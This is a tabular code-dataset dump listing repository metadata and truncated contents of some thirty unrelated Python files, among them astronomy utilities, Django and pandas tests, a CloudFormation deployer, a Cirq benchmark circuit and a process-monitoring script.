hexsha stringlengths 40 40 | size int64 3 1.03M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 972 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 972 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 972 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 3 1.03M | avg_line_length float64 1.13 941k | max_line_length int64 2 941k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
83d488207b28894daff8275af6a62362232de84e | 5,373 | py | Python | src/astrometry_azel/base.py | scienceopen/astrometry | b24fbe690d0336cc8bcdeadb2711b40cdf55d171 | [
"0BSD"
] | 6 | 2019-08-14T08:40:13.000Z | 2022-03-17T08:28:43.000Z | src/astrometry_azel/base.py | scienceopen/astrometry | b24fbe690d0336cc8bcdeadb2711b40cdf55d171 | [
"0BSD"
] | 2 | 2015-11-30T01:46:00.000Z | 2015-11-30T01:46:13.000Z | src/astrometry_azel/base.py | scienceopen/astrometry | b24fbe690d0336cc8bcdeadb2711b40cdf55d171 | [
"0BSD"
] | 1 | 2018-10-26T02:39:32.000Z | 2018-10-26T02:39:32.000Z | from __future__ import annotations
from pathlib import Path
import subprocess
import shutil
import logging
import warnings
from dateutil.parser import parse
from datetime import datetime
from numpy import meshgrid, column_stack
import xarray
from astropy.io import fits # instead of obsolete pyfits
from astropy.wcs imp... | 31.421053 | 103 | 0.607854 |
085d24dfe8b6b9cd9d2c556eaee5a770b0f7ec31 | 478 | py | Python | constants.py | ManeeshaPerera/forecast-framework | 60a22af4a97aec10c8bbea7f3f833061283382cb | [
"BSD-3-Clause"
] | null | null | null | constants.py | ManeeshaPerera/forecast-framework | 60a22af4a97aec10c8bbea7f3f833061283382cb | [
"BSD-3-Clause"
] | null | null | null | constants.py | ManeeshaPerera/forecast-framework | 60a22af4a97aec10c8bbea7f3f833061283382cb | [
"BSD-3-Clause"
] | 2 | 2022-03-20T10:30:38.000Z | 2022-03-22T06:39:14.000Z | DATA = 'data/'
RESULTS = 'results/'
# a dictionary including all information relevant to the forecast horizon and resolution
HORIZON_INFO = {
'1D': {
'resolution': 'H',
'horizon_as_int': 24,
'resolution_as_str': '1H',
'seasonality': 24,
'arima_params': {
'seasona... | 23.9 | 88 | 0.527197 |
e55ad886ce15434ffc995a6675a5cdabe4ceb8f2 | 1,197 | py | Python | dlkit/json_/cataloging/profile.py | UOC/dlkit | a9d265db67e81b9e0f405457464e762e2c03f769 | [
"MIT"
] | 2 | 2018-02-23T12:16:11.000Z | 2020-10-08T17:54:24.000Z | dlkit/json_/cataloging/profile.py | UOC/dlkit | a9d265db67e81b9e0f405457464e762e2c03f769 | [
"MIT"
] | 87 | 2017-04-21T18:57:15.000Z | 2021-12-13T19:43:57.000Z | dlkit/json_/cataloging/profile.py | UOC/dlkit | a9d265db67e81b9e0f405457464e762e2c03f769 | [
"MIT"
] | 1 | 2018-03-01T16:44:25.000Z | 2018-03-01T16:44:25.000Z | """Mongo osid profile elements for cataloging service packages"""
# -*- coding: utf-8 -*-
# pylint: disable=unused-import
# importing common values to be used by cataloging.ProfileManger implementation
from ..profile import ID
from ..profile import LANGUAGETYPE
from ..profile import SCRIPTTYPE
from ..profile import... | 29.925 | 82 | 0.754386 |
c0d8d0a779b605271fd586adcd529e8b9e628821 | 1,052 | py | Python | Lib/site-packages/django/core/checks/compatibility/django_1_8_0.py | ashutoshsuman99/Web-Blog-D19 | a01a0ccc40e8823110c01ebe4f43d9351df57295 | [
"bzip2-1.0.6"
] | 123 | 2015-01-15T06:56:45.000Z | 2022-03-19T22:18:55.000Z | Lib/site-packages/django/core/checks/compatibility/django_1_8_0.py | ashutoshsuman99/Web-Blog-D19 | a01a0ccc40e8823110c01ebe4f43d9351df57295 | [
"bzip2-1.0.6"
] | 21 | 2015-03-25T18:00:33.000Z | 2019-08-12T17:11:10.000Z | Lib/site-packages/django/core/checks/compatibility/django_1_8_0.py | ashutoshsuman99/Web-Blog-D19 | a01a0ccc40e8823110c01ebe4f43d9351df57295 | [
"bzip2-1.0.6"
] | 72 | 2015-01-14T16:29:47.000Z | 2021-10-09T16:31:47.000Z | from __future__ import unicode_literals
from django.conf import global_settings, settings
from .. import Tags, Warning, register
@register(Tags.compatibility)
def check_duplicate_template_settings(app_configs, **kwargs):
if settings.TEMPLATES:
values = [
'TEMPLATE_DIRS',
'ALLOWED... | 32.875 | 79 | 0.595057 |
f37b7d7fe28b041512a178366e7c817fbfe35c34 | 86,125 | py | Python | localstack/utils/cloudformation/template_deployer.py | yongliu-mdsol/localstack | 306daff632c0add548bfc3498ba71866ca281ff5 | [
"Apache-2.0"
] | null | null | null | localstack/utils/cloudformation/template_deployer.py | yongliu-mdsol/localstack | 306daff632c0add548bfc3498ba71866ca281ff5 | [
"Apache-2.0"
] | null | null | null | localstack/utils/cloudformation/template_deployer.py | yongliu-mdsol/localstack | 306daff632c0add548bfc3498ba71866ca281ff5 | [
"Apache-2.0"
] | null | null | null | import re
import os
import json
import base64
import logging
import traceback
from urllib.parse import urlparse
from six import iteritems
from moto.ec2.utils import generate_route_id
from moto.core import CloudFormationModel as MotoCloudFormationModel
from moto.cloudformation import parsing
from moto.cloudformation.mod... | 41.971248 | 120 | 0.631361 |
c89e7821b2b450715e77bbe28b3d9de999e8117d | 793 | py | Python | src/postfix/operators.py | theProgrammerDavid/PyGraph | e6a011c75352d15c727dca3d1e33cafa62ef0e81 | [
"MIT"
] | 1 | 2017-11-07T15:59:06.000Z | 2017-11-07T15:59:06.000Z | src/postfix/operators.py | theProgrammerDavid/PyGraph | e6a011c75352d15c727dca3d1e33cafa62ef0e81 | [
"MIT"
] | 2 | 2021-03-31T14:55:56.000Z | 2021-03-31T15:01:14.000Z | src/postfix/operators.py | theProgrammerDavid/PyGraph | e6a011c75352d15c727dca3d1e33cafa62ef0e81 | [
"MIT"
] | 2 | 2019-12-19T17:44:23.000Z | 2020-01-19T08:58:02.000Z | '''
Defines multiple operators and their actions.
'''
BINARY_OPERATORS = {
"+":{"priority":3, "func":lambda x,y:x+y},
"-":{"priority":4, "func":lambda x,y:x-y},
"*":{"priority":2, "func":lambda x,y:x*y},
"/":{"priority":1, "func":lambda x,y:x/y},
"^":{"priority":0, "func":lambd... | 26.433333 | 80 | 0.553594 |
4c53cf79a6634dd6ed00790d9fdf45f667105e42 | 18,488 | py | Python | keystoneclient/v2_0/shell.py | CiscoSystems/python-keystoneclient | 1130dd70dfffb67636dac2f8cd53804f1f9fb894 | [
"Apache-1.1"
] | null | null | null | keystoneclient/v2_0/shell.py | CiscoSystems/python-keystoneclient | 1130dd70dfffb67636dac2f8cd53804f1f9fb894 | [
"Apache-1.1"
] | null | null | null | keystoneclient/v2_0/shell.py | CiscoSystems/python-keystoneclient | 1130dd70dfffb67636dac2f8cd53804f1f9fb894 | [
"Apache-1.1"
] | null | null | null | # Copyright 2010 Jacob Kaplan-Moss
# Copyright 2011 OpenStack LLC.
# Copyright 2011 Nebula, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# ht... | 36.68254 | 79 | 0.640307 |
8f38ba447fcb3d59a2c609dacff7c921f01935fd | 8,820 | py | Python | python/paddle/distributed/fleet/base/topology.py | andreazanetti/Paddle | a259076dd01801e2e619237da02235a4856a96bb | [
"Apache-2.0"
] | 1 | 2021-04-28T13:47:27.000Z | 2021-04-28T13:47:27.000Z | python/paddle/distributed/fleet/base/topology.py | wangna11BD/Paddle | bc379ca3d5895eadbc1748bc5b71606011563ee1 | [
"Apache-2.0"
] | null | null | null | python/paddle/distributed/fleet/base/topology.py | wangna11BD/Paddle | bc379ca3d5895eadbc1748bc5b71606011563ee1 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 34.453125 | 89 | 0.665306 |
9af731bd4ac9df7164b23a089b91fefc267da7f6 | 1,596 | py | Python | test/test_configurations.py | idresearchdev/SecureTea-Project | 6ddd47f4897c0d22ade520bcc07197dcd3a0e2a4 | [
"MIT"
] | 1 | 2019-03-26T11:01:03.000Z | 2019-03-26T11:01:03.000Z | test/test_configurations.py | idresearchdev/SecureTea-Project | 6ddd47f4897c0d22ade520bcc07197dcd3a0e2a4 | [
"MIT"
] | null | null | null | test/test_configurations.py | idresearchdev/SecureTea-Project | 6ddd47f4897c0d22ade520bcc07197dcd3a0e2a4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import unittest
from securetea import configurations
import argparse
import json
try:
# if python 3.x.x
from unittest.mock import patch
except ImportError: # python 2.x.x
from mock import patch
class TestConfigurations(unittest.TestCase):
"""
Test class for Configurations... | 25.333333 | 71 | 0.593985 |
1c804b5b2c7da5e3e9977c24fc8c67eef0330723 | 94 | py | Python | admin_user/apps.py | lurdray/medexpress_app | f6b6cae3a0646697ee142305904ee6cfa44a0cf8 | [
"MIT"
] | null | null | null | admin_user/apps.py | lurdray/medexpress_app | f6b6cae3a0646697ee142305904ee6cfa44a0cf8 | [
"MIT"
] | 1 | 2019-05-22T15:05:44.000Z | 2019-05-22T15:05:44.000Z | admin_user/apps.py | lurdray/medexpress_app | f6b6cae3a0646697ee142305904ee6cfa44a0cf8 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class AdminUserConfig(AppConfig):
name = 'admin_user'
| 15.666667 | 33 | 0.765957 |
4473d86fa04a19fdf4a900054c93de75ea8296ab | 10,369 | py | Python | venv/lib/python3.9/site-packages/pandas/tests/arithmetic/test_interval.py | qarik-hanrattyjen/apache-airflow-backport-providers-google-2021.3.3 | 630dcef73e6a258b6e9a52f934e2dd912ce741f8 | [
"Apache-2.0"
] | 1 | 2021-10-04T18:22:12.000Z | 2021-10-04T18:22:12.000Z | venv/lib/python3.9/site-packages/pandas/tests/arithmetic/test_interval.py | qarik-hanrattyjen/apache-airflow-backport-providers-google-2021.3.3 | 630dcef73e6a258b6e9a52f934e2dd912ce741f8 | [
"Apache-2.0"
] | 10 | 2021-06-16T20:48:32.000Z | 2021-10-04T18:22:02.000Z | venv/lib/python3.9/site-packages/pandas/tests/arithmetic/test_interval.py | qarik-hanrattyjen/apache-airflow-backport-providers-google-2021.3.3 | 630dcef73e6a258b6e9a52f934e2dd912ce741f8 | [
"Apache-2.0"
] | 2 | 2021-07-12T13:33:42.000Z | 2021-08-13T09:52:35.000Z | import operator
import numpy as np
import pytest
from pandas.core.dtypes.common import is_list_like
import pandas as pd
from pandas import (
Categorical,
Index,
Interval,
IntervalIndex,
Period,
Series,
Timedelta,
Timestamp,
date_range,
period_range,
timedelta_range,
)
impo... | 35.030405 | 84 | 0.617996 |
2b62745afefa2c17def00230565c05c0034a5011 | 25,617 | py | Python | sdks/python/apache_beam/pipeline_test.py | charithe/beam | f085cb500730cf0c67c467ac55f92b3c59f52b39 | [
"Apache-2.0"
] | 2 | 2020-06-25T00:47:43.000Z | 2020-08-24T14:25:13.000Z | sdks/python/apache_beam/pipeline_test.py | charithe/beam | f085cb500730cf0c67c467ac55f92b3c59f52b39 | [
"Apache-2.0"
] | 10 | 2017-07-20T13:38:13.000Z | 2017-08-03T15:49:24.000Z | sdks/python/apache_beam/pipeline_test.py | charithe/beam | f085cb500730cf0c67c467ac55f92b3c59f52b39 | [
"Apache-2.0"
] | 1 | 2019-08-14T00:55:53.000Z | 2019-08-14T00:55:53.000Z | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | 35.728033 | 85 | 0.666315 |
1abfbe9c65a87f718ec052856a123254c1f8ac71 | 501 | py | Python | number_parser/data/ak.py | hellc/number-parser | 1e62fe5562f334f1fbac7eeb3b208e98b255db5f | [
"BSD-3-Clause"
] | null | null | null | number_parser/data/ak.py | hellc/number-parser | 1e62fe5562f334f1fbac7eeb3b208e98b255db5f | [
"BSD-3-Clause"
] | null | null | null | number_parser/data/ak.py | hellc/number-parser | 1e62fe5562f334f1fbac7eeb3b208e98b255db5f | [
"BSD-3-Clause"
] | null | null | null | info = {
"UNIT_NUMBERS": {
"a-ɛ-tɔ-so-hwee": 0,
"hwee": 0,
"a-ɛ-di-kane": 1,
"biako": 1,
"koro": 1,
"abien": 2,
"abiasa": 3,
"anan": 4,
"anum": 5,
"asia": 6,
"asuon": 7,
"awɔtwe": 8,
"akron": 9
},
"DIRECT... | 18.555556 | 28 | 0.37525 |
92da21d2fc400ccf7f84570ab8b97a5e5a19f112 | 11,872 | py | Python | MachineLearning/checkNerualNetworkResultsV2.py | ChanaRoss/Thesis | 39ab83d52055d401a3bb71da25b3458ad9196ecd | [
"Apache-2.0"
] | null | null | null | MachineLearning/checkNerualNetworkResultsV2.py | ChanaRoss/Thesis | 39ab83d52055d401a3bb71da25b3458ad9196ecd | [
"Apache-2.0"
] | 9 | 2020-03-24T17:19:30.000Z | 2022-03-11T23:55:15.000Z | MachineLearning/checkNerualNetworkResultsV2.py | ChanaRoss/Thesis | 39ab83d52055d401a3bb71da25b3458ad9196ecd | [
"Apache-2.0"
] | null | null | null | # mathematical imports -
import numpy as np
from matplotlib import pyplot as plt
from sklearn import metrics
from math import sqrt
import seaborn as sns
sns.set()
import torch
# load network imports -
import os
import sys
sys.path.insert(0, '/Users/chanaross/dev/Thesis/MachineLearning/forGPU/')
from CNN_LSTM_NeuralNe... | 43.808118 | 159 | 0.665768 |
a7a4143c8870d06d0556cd27e8f77e78ddf3b1fa | 1,126 | py | Python | setup.py | dang-xia/cdifflib | 6ba2d7aff69de3800986107279e709a6b47fdee5 | [
"BSD-3-Clause"
] | null | null | null | setup.py | dang-xia/cdifflib | 6ba2d7aff69de3800986107279e709a6b47fdee5 | [
"BSD-3-Clause"
] | null | null | null | setup.py | dang-xia/cdifflib | 6ba2d7aff69de3800986107279e709a6b47fdee5 | [
"BSD-3-Clause"
] | null | null | null | from setuptools import setup, Extension
import sys
if sys.version_info >= (3, 0):
module1 = [Extension('_cdifflib',
sources=['_cdifflib3.c'])]
else:
module1 = [Extension('_cdifflib',
sources=['_cdifflib.c'])]
setup(name='cdifflib',
version='1.1.0',
d... | 30.432432 | 57 | 0.566607 |
7c20fb8a0f98157f6c2d52dd4c1e4f2c5977bd52 | 3,663 | py | Python | starthinker/task/dcm_api/schema/targetableRemarketingListsListResponse.py | viohman/starthinker | 20bd2d7fd1e541eb8a2c9b7159941f667e22e38e | [
"Apache-2.0"
] | null | null | null | starthinker/task/dcm_api/schema/targetableRemarketingListsListResponse.py | viohman/starthinker | 20bd2d7fd1e541eb8a2c9b7159941f667e22e38e | [
"Apache-2.0"
] | 6 | 2021-03-19T12:00:18.000Z | 2022-02-10T09:43:42.000Z | starthinker/task/dcm_api/schema/targetableRemarketingListsListResponse.py | viohman/starthinker | 20bd2d7fd1e541eb8a2c9b7159941f667e22e38e | [
"Apache-2.0"
] | null | null | null | ###########################################################################
#
# Copyright 2019 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/... | 25.615385 | 357 | 0.470379 |
22403a6c555c9cf7d260c8024a7cd71038d72250 | 1,044 | py | Python | src/preprocessing_jl.py | h4pZ/Toxicity-in-Dota-2 | ad95feebe80ec09cf412c115d9c791045115c636 | [
"MIT"
] | 1 | 2020-07-21T19:58:06.000Z | 2020-07-21T19:58:06.000Z | src/preprocessing_jl.py | h4pZ/Toxicity-in-Dota-2 | ad95feebe80ec09cf412c115d9c791045115c636 | [
"MIT"
] | null | null | null | src/preprocessing_jl.py | h4pZ/Toxicity-in-Dota-2 | ad95feebe80ec09cf412c115d9c791045115c636 | [
"MIT"
] | null | null | null | import os
from joblib import Parallel, delayed
from langdetect import detect
import pandas as pd
from utils import get_project_path
# Parameters.
abs_project_path = get_project_path(__file__)
data_path = os.path.join(abs_project_path, "data")
# Loading the data.
df = pd.read_csv(os.path.join(data_path, "dota2_chat_m... | 27.473684 | 87 | 0.729885 |
f12c4d88e4514e1793ab4aab0ad10e768c2d123a | 3,998 | py | Python | data/p3BR/R1/benchmark/startCirq311.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | data/p3BR/R1/benchmark/startCirq311.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | data/p3BR/R1/benchmark/startCirq311.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 5/15/20 4:49 PM
# @File : grover.py
# qubit number=3
# total number=58
import cirq
import cirq.google as cg
from typing import Optional
import sys
from math import log2
import numpy as np
#thatsNoCode
from cirq.contrib.svg import SVGCircuit
# Symbols for... | 39.98 | 77 | 0.685093 |
126230cb1bb49c1fa15781cb33a241f9f747890c | 943 | py | Python | old/net/dataset.py | renjunxiang/Word_Segmentation_PyTorch | 47e02745caaf8df7b7a15b0a7342808efd0d5e7e | [
"MIT"
] | 7 | 2019-04-13T16:07:17.000Z | 2022-03-15T06:34:42.000Z | old/net/dataset.py | renjunxiang/Word_Segmentation_PyTorch | 47e02745caaf8df7b7a15b0a7342808efd0d5e7e | [
"MIT"
] | 1 | 2019-12-30T10:21:39.000Z | 2019-12-30T10:21:39.000Z | old/net/dataset.py | renjunxiang/Word_Segmentation_PyTorch | 47e02745caaf8df7b7a15b0a7342808efd0d5e7e | [
"MIT"
] | 4 | 2019-03-25T00:57:34.000Z | 2021-03-17T13:40:40.000Z | import torch
from torch.utils.data import Dataset
from flair.data import Sentence
# 定义数据读取方式
class DatasetRNN(Dataset):
def __init__(self, x_seq, y_seq):
self.x_seq = x_seq
self.y_seq = y_seq
def __getitem__(self, index):
return self.x_seq[index], self.y_seq[index]
def __len__(se... | 24.179487 | 77 | 0.617179 |
10e62bea7ab8ce9590bc8826774a99fe4d538c98 | 783 | py | Python | rainyday/users/tests/test_models.py | bhanuvrat/rainy-day | 34a6b82a08f32a7e230d3434f658d6c271007993 | [
"MIT"
] | null | null | null | rainyday/users/tests/test_models.py | bhanuvrat/rainy-day | 34a6b82a08f32a7e230d3434f658d6c271007993 | [
"MIT"
] | null | null | null | rainyday/users/tests/test_models.py | bhanuvrat/rainy-day | 34a6b82a08f32a7e230d3434f658d6c271007993 | [
"MIT"
] | null | null | null | # Third Party Stuff
from django.test import TestCase
from rainyday.users.models import User
class UserModelTestCase(TestCase):
def test_create_user(self):
u = User.objects.create_user(email='f@F.com', password='abc', first_name="F", last_name='B')
assert u.is_active is True
assert u.is_s... | 31.32 | 100 | 0.642401 |
aa241c2df04da3f372476f761d541da12dca9327 | 648 | py | Python | tests/test_bulk_intl_verification.py | Kilo59/lob-python | 331ca698c83fab25f0e798839451e4330a79918f | [
"MIT"
] | 56 | 2015-02-05T22:35:09.000Z | 2021-12-21T01:28:48.000Z | tests/test_bulk_intl_verification.py | Kilo59/lob-python | 331ca698c83fab25f0e798839451e4330a79918f | [
"MIT"
] | 123 | 2015-01-10T00:50:55.000Z | 2022-02-23T19:52:54.000Z | tests/test_bulk_intl_verification.py | Kilo59/lob-python | 331ca698c83fab25f0e798839451e4330a79918f | [
"MIT"
] | 45 | 2015-01-30T18:55:28.000Z | 2022-01-20T00:26:32.000Z | import unittest
import os
import lob
class TestBulkIntlVerificationFunctions(unittest.TestCase):
def setUp(self):
lob.api_key = os.environ.get('LOB_API_KEY')
def test_bulk_intl_verification(self):
response = lob.BulkIntlVerification.create(
addresses=[
{
... | 25.92 | 60 | 0.580247 |
ebb25f18d0d443f72366389f33a4a4335c0945be | 93 | py | Python | blogposts/apps.py | cesarrodas/cesars-blog | 497f4c20bab24db0c0052004e6199d669dac1fe0 | [
"MIT"
] | null | null | null | blogposts/apps.py | cesarrodas/cesars-blog | 497f4c20bab24db0c0052004e6199d669dac1fe0 | [
"MIT"
] | null | null | null | blogposts/apps.py | cesarrodas/cesars-blog | 497f4c20bab24db0c0052004e6199d669dac1fe0 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class BlogpostsConfig(AppConfig):
name = 'blogposts'
| 15.5 | 33 | 0.763441 |
52370b0dea4fc7b5de0fc1b11a37c5a09eccf733 | 12,792 | py | Python | engine/player/playerPhysics.py | grimfang/rising_reloaded | 5e83b248952dd13204f14d825a45d3da8d6d725b | [
"MIT"
] | 1 | 2016-08-03T16:01:57.000Z | 2016-08-03T16:01:57.000Z | engine/player/playerPhysics.py | grimfang/rising_reloaded | 5e83b248952dd13204f14d825a45d3da8d6d725b | [
"MIT"
] | null | null | null | engine/player/playerPhysics.py | grimfang/rising_reloaded | 5e83b248952dd13204f14d825a45d3da8d6d725b | [
"MIT"
] | null | null | null | #!/usr/bin/python
#----------------------------------------------------------------------#
# The MIT License (MIT)
# See the license.txt for license information
#----------------------------------------------------------------------#
"""@ package BasePhysics
All Physics setups and builders
"""
# System Imports
imp... | 38.763636 | 157 | 0.601235 |
ad4afcd9ed8c4d72ccee527e8dc486db2cb79111 | 1,026 | py | Python | monitor_reboot.py | initialstate/pi-process-dashboard | aa1e014ef3cb17d45c05e462f73685855490ee7f | [
"MIT"
] | 309 | 2016-12-12T18:26:18.000Z | 2022-02-11T14:19:49.000Z | monitor_reboot.py | initialstate/pi-process-dashboard | aa1e014ef3cb17d45c05e462f73685855490ee7f | [
"MIT"
] | null | null | null | monitor_reboot.py | initialstate/pi-process-dashboard | aa1e014ef3cb17d45c05e462f73685855490ee7f | [
"MIT"
] | 29 | 2016-12-16T21:53:56.000Z | 2020-09-29T07:01:44.000Z | import psutil
import time
import sys
from ISStreamer.Streamer import Streamer
# --------- User Settings ---------
# Initial State settings
BUCKET_NAME = ":computer: Processes"
BUCKET_KEY = "pr1208"
ACCESS_KEY = "PLACE YOUR INITIAL STATE ACCESS KEY HERE"
PROCESS_NAME = "PLACE THE NAME OF YOUR PROCESS HERE"
# Set the t... | 29.314286 | 117 | 0.69883 |
c0bb0024d29ba0ce2e397cc5b347b1dca067f083 | 9,097 | py | Python | docs/conf.py | transientlunatic/otter | e6be6ab454474a04c3d2c6abf8f7848079642f38 | [
"0BSD"
] | null | null | null | docs/conf.py | transientlunatic/otter | e6be6ab454474a04c3d2c6abf8f7848079642f38 | [
"0BSD"
] | null | null | null | docs/conf.py | transientlunatic/otter | e6be6ab454474a04c3d2c6abf8f7848079642f38 | [
"0BSD"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# otter documentation build configuration file, created by
# sphinx-quickstart on Tue Jul 9 22:26:36 2013.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autog... | 30.733108 | 78 | 0.707926 |
7d4decb4bb79a1d91bf20c2a2d836d6e3e7a0448 | 8,345 | py | Python | ngraph/transformers/passes/visualizemem.py | NervanaSystems/ngraph-python | ac032c83c7152b615a9ad129d54d350f9d6a2986 | [
"Apache-2.0"
] | 18 | 2018-03-19T04:16:49.000Z | 2021-02-08T14:44:58.000Z | ngraph/transformers/passes/visualizemem.py | rsumner31/ngraph | 5e5c9bb9f24d95aee190b914dd2d44122fc3be53 | [
"Apache-2.0"
] | 2 | 2019-04-16T06:41:49.000Z | 2019-05-06T14:08:13.000Z | ngraph/transformers/passes/visualizemem.py | rsumner31/ngraph | 5e5c9bb9f24d95aee190b914dd2d44122fc3be53 | [
"Apache-2.0"
] | 11 | 2018-06-16T15:59:08.000Z | 2021-03-06T00:45:30.000Z | # ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apa... | 42.576531 | 97 | 0.520791 |
8505f51b6d6b623ee272452971cb64640edc4996 | 23,199 | py | Python | pysal/model/spreg/twosls_regimes.py | ocefpaf/pysal | 7e397bdb4c22d4e2442b4ee88bcd691d2421651d | [
"BSD-3-Clause"
] | 1 | 2021-08-16T02:47:35.000Z | 2021-08-16T02:47:35.000Z | pysal/model/spreg/twosls_regimes.py | ocefpaf/pysal | 7e397bdb4c22d4e2442b4ee88bcd691d2421651d | [
"BSD-3-Clause"
] | null | null | null | pysal/model/spreg/twosls_regimes.py | ocefpaf/pysal | 7e397bdb4c22d4e2442b4ee88bcd691d2421651d | [
"BSD-3-Clause"
] | 1 | 2016-11-11T19:20:51.000Z | 2016-11-11T19:20:51.000Z | import numpy as np
from . import regimes as REGI
from . import user_output as USER
import multiprocessing as mp
import scipy.sparse as SP
from .utils import sphstack, set_warn, RegressionProps_basic, spdot, sphstack
from .twosls import BaseTSLS
from .robust import hac_multi
from . import summary_output as SUMMARY
from ... | 44.959302 | 207 | 0.579766 |
2fcc71ca9e1a206bf5dca1a1b7d486275dcd7bbd | 299 | py | Python | adf2dms/checksum.py | dlitz/adf2dms | 8adfe6acfdc9f18f3627e04eb1d1f798c112f3da | [
"MIT"
] | null | null | null | adf2dms/checksum.py | dlitz/adf2dms | 8adfe6acfdc9f18f3627e04eb1d1f798c112f3da | [
"MIT"
] | null | null | null | adf2dms/checksum.py | dlitz/adf2dms | 8adfe6acfdc9f18f3627e04eb1d1f798c112f3da | [
"MIT"
] | null | null | null | # dlitz 2022
from crccheck.crc import Crc16Arc as _Crc16Arc
def checksum(data):
it = iter(data)
result = 0
while True:
try:
a = next(it)
except StopIteration:
break
result = (result + a) & 0xffff
return result
crc16 = _Crc16Arc.calc
| 18.6875 | 46 | 0.578595 |
8a3323862505d83dabe3b974d634f1d8a4ce2c38 | 7,986 | py | Python | examples/filteringManyDatasets/mergeDatasets2011.py | mirnylab/hiclib-legacy | 518546e41987dca8a40f45ddc63601a5aaf46bfa | [
"MIT"
] | 10 | 2020-02-18T04:23:47.000Z | 2022-03-21T05:15:45.000Z | examples/filteringManyDatasets/mergeDatasets2011.py | mirnylab/hiclib-legacy | 518546e41987dca8a40f45ddc63601a5aaf46bfa | [
"MIT"
] | 1 | 2020-03-03T09:26:40.000Z | 2020-06-23T12:36:00.000Z | examples/filteringManyDatasets/mergeDatasets2011.py | mirnylab/hiclib-legacy | 518546e41987dca8a40f45ddc63601a5aaf46bfa | [
"MIT"
] | 3 | 2020-08-15T13:49:09.000Z | 2021-01-20T02:27:00.000Z | """
.. note::
This is the old version of the script from 2011
This example script does the following:
-Loads individual files from the location defined by source(ID)
-Parses individual files in memory (inMemory = True in "for onename in in_files))
-If your system does not have enough memory, you might need t... | 40.538071 | 106 | 0.63436 |
692f93693a695e57f405ee61f591df02db301a20 | 363 | py | Python | GettingAyah.py | Shalash96/PyQuran | da893b73779a342caae0defc8398e27e5744ff7d | [
"MIT"
] | 2 | 2020-09-27T22:42:42.000Z | 2020-10-02T18:50:29.000Z | GettingAyah.py | Shalash96/PyQuran | da893b73779a342caae0defc8398e27e5744ff7d | [
"MIT"
] | null | null | null | GettingAyah.py | Shalash96/PyQuran | da893b73779a342caae0defc8398e27e5744ff7d | [
"MIT"
] | null | null | null | import requests
import random
def GettingAyah():
"""The code used to get an Ayah from the Quran every fixed time"""
while True:
ayah = random.randint(1, 6237)
url = f'http://api.alquran.cloud/v1/ayah/{ayah}'
res = requests.get(url)
if len(res.json()['data']['text']) <= 280:
... | 27.923077 | 70 | 0.586777 |
819681fd8494bd65670754e92c213d966a15c5ef | 2,856 | py | Python | docs/source/sphinxext/refactordoc/line_functions.py | mmckerns/enaml | ebf417b4dce9132bffa038a588ad90436a59d37e | [
"BSD-3-Clause"
] | 11 | 2015-03-14T14:30:51.000Z | 2022-03-15T13:01:44.000Z | docs/source/sphinxext/refactordoc/line_functions.py | mmckerns/enaml | ebf417b4dce9132bffa038a588ad90436a59d37e | [
"BSD-3-Clause"
] | 36 | 2015-02-20T00:56:53.000Z | 2020-12-04T10:02:14.000Z | docs/source/sphinxext/refactordoc/line_functions.py | mmckerns/enaml | ebf417b4dce9132bffa038a588ad90436a59d37e | [
"BSD-3-Clause"
] | 4 | 2015-01-27T01:56:14.000Z | 2021-02-23T07:21:20.000Z | # -*- coding: UTF-8 -*-
#------------------------------------------------------------------------------
# file: line_functions.py
# License: LICENSE.TXT
# Author: Ioannis Tziakos
#
# Copyright (c) 2011, Enthought, Inc.
# All rights reserved.
#------------------------------------------------------------------------... | 25.5 | 79 | 0.434524 |
